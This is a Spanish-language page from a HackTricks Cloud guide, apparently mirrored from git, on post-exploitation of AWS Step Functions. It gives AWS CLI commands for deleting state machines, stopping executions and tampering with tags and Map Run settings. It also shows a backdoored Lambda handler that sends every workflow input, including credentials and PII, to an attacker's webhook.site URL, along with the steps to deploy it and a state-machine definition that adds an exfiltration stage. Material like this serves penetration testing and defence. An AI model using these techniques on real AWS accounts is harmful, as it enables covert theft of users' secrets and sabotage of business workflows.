mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 22:03:11 -08:00
185 lines
7.6 KiB
Markdown
185 lines
7.6 KiB
Markdown
# AWS - Step Functions Post Explotación
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Step Functions
|
|
|
|
Para más información sobre este servicio de AWS, consulta:
|
|
|
|
{{#ref}}
|
|
../aws-services/aws-stepfunctions-enum.md
|
|
{{#endref}}
|
|
|
|
### `states:RevealSecrets`
|
|
|
|
Este permiso permite **revelar datos secretos dentro de una ejecución**. Para ello, es necesario establecer el nivel de Inspección en TRACE y el parámetro revealSecrets en true.
|
|
|
|
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
|
|
|
Un atacante con estos permisos podría eliminar permanentemente máquinas de estado, sus versiones y alias. Esto puede interrumpir flujos de trabajo críticos, resultar en pérdida de datos y requerir un tiempo significativo para recuperar y restaurar las máquinas de estado afectadas. Además, permitiría a un atacante cubrir las huellas utilizadas, interrumpir investigaciones forenses y potencialmente paralizar operaciones al eliminar procesos de automatización esenciales y configuraciones de estado.
|
|
|
|
> [!NOTE]
|
|
>
|
|
> - Al eliminar una máquina de estado, también se eliminan todas sus versiones y alias asociados.
|
|
> - Al eliminar un alias de máquina de estado, no se eliminan las versiones de la máquina de estado que hacen referencia a este alias.
|
|
> - No es posible eliminar una versión de máquina de estado actualmente referenciada por uno o más alias.
|
|
```bash
|
|
# Delete state machine
|
|
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
|
# Delete state machine version
|
|
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
|
# Delete state machine alias
|
|
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
|
```
|
|
- **Impacto Potencial**: Disrupción de flujos de trabajo críticos, pérdida de datos y tiempo de inactividad operativo.
|
|
|
|
### `states:UpdateMapRun`
|
|
|
|
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un ítem falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
|
|
```bash
|
|
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
|
```
|
|
- **Impacto Potencial**: Degradación del rendimiento y interrupción de flujos de trabajo críticos.
|
|
|
|
### `states:StopExecution`
|
|
|
|
Un atacante con este permiso podría detener la ejecución de cualquier máquina de estados, interrumpiendo flujos de trabajo y procesos en curso. Esto podría llevar a transacciones incompletas, operaciones comerciales detenidas y posible corrupción de datos.
|
|
|
|
> [!WARNING]
|
|
> Esta acción no es compatible con **máquinas de estados expresas**.
|
|
```bash
|
|
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
|
```
|
|
- **Impacto Potencial**: Disrupción de flujos de trabajo en curso, tiempo de inactividad operativo y posible corrupción de datos.
|
|
|
|
### `states:TagResource`, `states:UntagResource`
|
|
|
|
Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de Step Functions, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
|
|
```bash
|
|
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
|
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
|
```
|
|
**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
|
|
|
|
---
|
|
|
|
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
|
|
|
Un atacante que compromete a un usuario o rol con los siguientes permisos:
|
|
```json
|
|
{
|
|
"Version": "2012-10-17",
|
|
"Statement": [
|
|
{
|
|
"Sid": "AllowUpdateStateMachine",
|
|
"Effect": "Allow",
|
|
"Action": "states:UpdateStateMachine",
|
|
"Resource": "*"
|
|
},
|
|
{
|
|
"Sid": "AllowUpdateFunctionCode",
|
|
"Effect": "Allow",
|
|
"Action": "lambda:UpdateFunctionCode",
|
|
"Resource": "*"
|
|
}
|
|
]
|
|
}
|
|
```
|
|
...puede llevar a cabo un **ataque de post-explotación de alto impacto y sigiloso** combinando el backdooring de Lambda con la manipulación de la lógica de Step Function.
|
|
|
|
Este escenario asume que la víctima utiliza **AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles**, como credenciales, tokens o PII.
|
|
|
|
Ejemplo de invocación de la víctima:
|
|
```bash
|
|
aws stepfunctions start-execution \
|
|
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
|
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
|
```
|
|
Si la Step Function está configurada para invocar un Lambda como `LegitBusinessLogic`, el atacante puede proceder con **dos variantes de ataque sigilosas**:
|
|
|
|
---
|
|
|
|
#### Actualizó la función lambda
|
|
|
|
El atacante modifica el código de la función Lambda ya utilizada por la Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente los datos de entrada.
|
|
```python
|
|
# send_to_attacker.py
|
|
import requests
|
|
|
|
def lambda_handler(event, context):
|
|
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
|
return {"status": "exfiltrated"}
|
|
```
|
|
|
|
```bash
|
|
zip function.zip send_to_attacker.py
|
|
|
|
aws lambda update-function-code \
|
|
--function-name LegitBusinessLogic \
|
|
--zip-file fileb://function.zip -profile attacker
|
|
```
|
|
---
|
|
|
|
#### Agregar un Estado Malicioso a la Función de Paso
|
|
|
|
Alternativamente, el atacante puede inyectar un **estado de exfiltración** al comienzo del flujo de trabajo actualizando la definición de la Función de Paso.
|
|
```malicious_state_definition.json
|
|
{
|
|
"Comment": "Backdoored for Exfiltration",
|
|
"StartAt": "OriginalState",
|
|
"States": {
|
|
"OriginalState": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
|
"End": true
|
|
}
|
|
}
|
|
}
|
|
|
|
```
|
|
|
|
```bash
|
|
aws stepfunctions update-state-machine \
|
|
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
|
--definition file://malicious_state_definition.json --profile attacker
|
|
```
|
|
El atacante puede ser aún más sigiloso al actualizar la definición del estado a algo como esto
|
|
{
|
|
"Comment": "Backdoored for Exfiltration",
|
|
"StartAt": "ExfiltrateSecrets",
|
|
"States": {
|
|
"ExfiltrateSecrets": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
|
"InputPath": "$",
|
|
"ResultPath": "$.exfil",
|
|
"Next": "OriginalState"
|
|
},
|
|
"OriginalState": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
|
"End": true
|
|
}
|
|
}
|
|
}
|
|
donde la víctima no se dará cuenta de la diferencia
|
|
|
|
---
|
|
|
|
### Configuración de la Víctima (Contexto para la Explotación)
|
|
|
|
- Se utiliza una Step Function (`LegitStateMachine`) para procesar entradas sensibles de usuarios.
|
|
- Llama a una o más funciones Lambda como `LegitBusinessLogic`.
|
|
|
|
---
|
|
|
|
**Impacto Potencial**:
|
|
- Exfiltración silenciosa de datos sensibles, incluyendo secretos, credenciales, claves API y PII.
|
|
- Sin errores o fallos visibles en la ejecución del flujo de trabajo.
|
|
- Difícil de detectar sin auditar el código de Lambda o los rastros de ejecución.
|
|
- Permite una persistencia a largo plazo si la puerta trasera permanece en el código o la lógica ASL.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|